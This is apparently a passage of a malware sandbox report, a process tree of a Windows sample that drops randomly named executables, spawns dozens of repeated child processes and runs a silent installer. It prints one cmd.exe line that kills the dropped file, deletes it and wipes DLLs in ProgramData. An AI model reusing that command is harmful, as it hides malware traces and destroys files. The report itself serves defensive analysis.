      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:20240
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:2316
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:19560
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:19536
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:20076
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:21556
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:22020
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:22436
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:20712
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:21348
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:22472
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:20856
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:21756
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:22088
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:16768
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:19428
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:21080
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:21116
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:21752
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:20120
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:22932
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:23348
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:20508
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:23372
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:21452
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:16908
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:19352
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:16756
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:23672
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:24020
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:24220
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:20980
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:23600
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:23960
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:24656
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:25172
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:23888
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:23920
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:24768
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:24508
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:24424
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:20668
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:19856
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:25604
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:26104
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:26568
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:25640
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:22736
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:26528
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:26028
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:12156
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:26268
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:26396
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:26092
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:22520
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:26792
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:27140
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:27416
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:26852
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:27044
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:27600
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:27272
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:5480
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:22324
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:27464
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:11048
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:27016
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:27640
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:26416
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:27944
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:28204
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:28416
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:23836
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:27000
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:28304
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:3832
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:7956
    - - C:\Program Files (x86)\SmartPDF\SmartPDF\LivelyScreenRecS3.0.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\LivelyScreenRecS3.0.exe"
        5⤵
        
        PID:11876
    - - C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent
        5⤵
        
        PID:12172
      - C:\Users\Admin\AppData\Local\Temp\is-P0M84.tmp\stats.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-P0M84.tmp\stats.tmp" /SL5="$20354,138429,56832,C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent
        6⤵
        
        PID:10608
    - - C:\Program Files (x86)\SmartPDF\SmartPDF\note866.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\note866.exe"
        5⤵
        
        PID:7468
- C:\Users\Admin\Documents\aIwhPlsBPJ4cwwZaHO_bYDB2.exe
  "C:\Users\Admin\Documents\aIwhPlsBPJ4cwwZaHO_bYDB2.exe"
  2⤵
  - Executes dropped EXE
  PID:2004
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im aIwhPlsBPJ4cwwZaHO_bYDB2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\aIwhPlsBPJ4cwwZaHO_bYDB2.exe" & del C:\ProgramData\*.dll & exit
    3⤵
    PID:7196
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im aIwhPlsBPJ4cwwZaHO_bYDB2.exe /f
      4⤵
      Kills process with taskkill
      PID:7492
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 6
      4⤵
      Delays execution with timeout.exe
      PID:10140
- C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
  "C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:1544
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    - Executes dropped EXE
    PID:4736
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:4888
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    - Executes dropped EXE
    PID:5076
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    - Executes dropped EXE
    PID:4568
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:384
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    - Executes dropped EXE
    PID:5044
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    - Executes dropped EXE
    PID:4700
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    - Executes dropped EXE
    PID:1708
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    - Executes dropped EXE
    PID:4500
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:5180
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    - Executes dropped EXE
    PID:5488
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:5804
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:5100
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:2252
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:6004
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:5104
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:2356
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:6500
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:6916
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:4652
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:5140
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:6308
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:4100
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:6464
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:7208
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:7604
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:7884
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:7084
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:7664
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:8036
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:7820
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:7556
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:5216
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:6480
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:8364
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:8800
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:9196
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:8780
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:9156
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:8764
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:2988
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    - Executes dropped EXE
    PID:4888
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:8320
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:6840
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:6980
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:6796
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:1704
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:1616
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:8024
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:2288
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:7472
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:9608
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 9608 -s 24
      4⤵
      Program crash
      PID:10132
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:10120
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:9688
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:9308
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:9412
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:10400
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:10932
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:11208
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:11064
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:10496
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:1388
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:10628
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:10292
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:10256
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:10356
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 10356 -s 24
      4⤵
      Program crash
      PID:10180
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:10288
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:7336
